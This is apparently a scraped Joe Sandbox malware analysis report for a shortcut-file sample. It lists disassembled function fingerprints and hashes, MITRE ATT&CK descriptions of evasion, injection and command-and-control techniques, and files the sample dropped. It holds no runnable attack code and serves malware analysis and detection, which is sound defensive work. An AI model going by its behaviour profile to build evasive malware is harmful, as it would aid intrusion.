Associated: 00000010.00000002.3300777112.0000000000DF9000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000DFB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000E09000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_c20000_setup.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 047420c53c197a729636849d8ffacf8afec58147ad75d803d2a6eacefd9e1c10
Instruction ID: 721a602bf000071d6cdf4c6fe657a112b0b3988cad2a33e7675dbd2112c19e43
Opcode Fuzzy Hash: 047420c53c197a729636849d8ffacf8afec58147ad75d803d2a6eacefd9e1c10
Instruction Fuzzy Hash: 4A519C72A05B039FDB289F50E845FAA77A4EF00710F18466DE85787699E731F990CBB0

Function 00DC71FF Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00DBDE4C,00DC6ECD,?,?,00DBDD0B), ref: 00DC7204
_free.LIBCMT ref: 00DC7261
_free.LIBCMT ref: 00DC7297
SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,00DBDE4C,00DC6ECD,?,?,00DBDD0B), ref: 00DC72A2

Memory Dump Source

Source File: 00000010.00000002.3300196354.0000000000C21000.00000020.00000001.01000000.00000008.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000010.00000002.3300147493.0000000000C20000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300556131.0000000000DD6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300612618.0000000000DE8000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300671020.0000000000DEB000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300671020.0000000000DF5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000DF9000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000DFB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000E09000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_c20000_setup.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 2289323797ffb84467979377ab08577020497edbf1388950dbb4e6ff453cd87b
Instruction ID: 94da570e7817491de3dd471ddcb5cf940199f271da09844449077f629f3c959c
Opcode Fuzzy Hash: 2289323797ffb84467979377ab08577020497edbf1388950dbb4e6ff453cd87b
Instruction Fuzzy Hash: 8B11AC7260C6432E9A1132A5ACC6F2B6659EBC57B4B78022DF224DB2D2DE618C01A934

Function 00DC5BB4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00DC5E2B

Strings

csm, xrefs: 00DC5E4D
csm, xrefs: 00DC5EBE

Memory Dump Source

Source File: 00000010.00000002.3300196354.0000000000C21000.00000020.00000001.01000000.00000008.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000010.00000002.3300147493.0000000000C20000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300556131.0000000000DD6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300612618.0000000000DE8000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300671020.0000000000DEB000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300671020.0000000000DF5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000DF9000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000DFB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000E09000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_c20000_setup.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: 8dee5ff874da808e9bd32d816b8149fa324374d1a36f8744ceff2bdca663f8dc
Instruction ID: a1e912402fb58da80beb3b40c58b1bcc786ca555fa707906bb7c73aadbdd5179
Opcode Fuzzy Hash: 8dee5ff874da808e9bd32d816b8149fa324374d1a36f8744ceff2bdca663f8dc
Instruction Fuzzy Hash: FE31B43141061AABCF2A9F54EC44E6A7B6AFF08315B1C815DF8544B219C332EDE1DBB1

Function 00C33FE0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 00C33FF6

Strings

Hx, xrefs: 00C33FFE
Hx, xrefs: 00C3401E

Memory Dump Source

Source File: 00000010.00000002.3300196354.0000000000C21000.00000020.00000001.01000000.00000008.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000010.00000002.3300147493.0000000000C20000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300556131.0000000000DD6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300612618.0000000000DE8000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300671020.0000000000DEB000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300671020.0000000000DF5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000DF9000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000DFB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000E09000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_c20000_setup.jbxd

Similarity

API ID: ___std_exception_destroy
String ID: Hx$Hx
API String ID: 4194217158-875572079
Opcode ID: 91dcd2d44e636e5d05ccc1f36bba2ce10b68205fb35c84712bf733ba9d1b36c3
Instruction ID: 55c2d026cd83a607b2d7dfc02027b1a0361976a2122d32835169737e2d649f0f
Opcode Fuzzy Hash: 91dcd2d44e636e5d05ccc1f36bba2ce10b68205fb35c84712bf733ba9d1b36c3
Instruction Fuzzy Hash: E1F054B5718140C7CA1D9A099846B5B7AD1AB62310F250D25F187D7321D272F9A4DBA3

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Process: Process Creation, Service: Service Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Document.lnk.download.lnk

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\287269d4-80b5-4350-bcc6-750fc59ac2cb.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\43d4a8ba-15d2-416b-9017-465268cd8ddc.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\4873195c-f7e6-43ca-9cf2-0c1af44d7496.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\822f2bb2-529a-4f9b-aa5d-118460e4412f.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\fdd18fb9-65ef-4759-ac95-e365fa5c05ac.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-675AC464-1D18.pma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\04f9b7c3-3678-46c3-a6a9-999295d33172.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\0b1ce6b9-a9a8-43b9-9663-97349b214ded.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\19b1d23b-ef30-494e-bf86-c4f183d067da.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\47fa8e7b-6166-4329-b474-e80963fc6da5.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\54e608fa-da04-4e53-b105-b10c152ee7fb.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\5d511f76-33da-4b0a-9688-cb2b164b9db0.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\65e66e96-cc07-49d1-9907-d963a3e06820.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\9340655e-a8c8-4729-b3af-537c11eac15a.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Windows Analysis Report
Document.lnk.download.lnk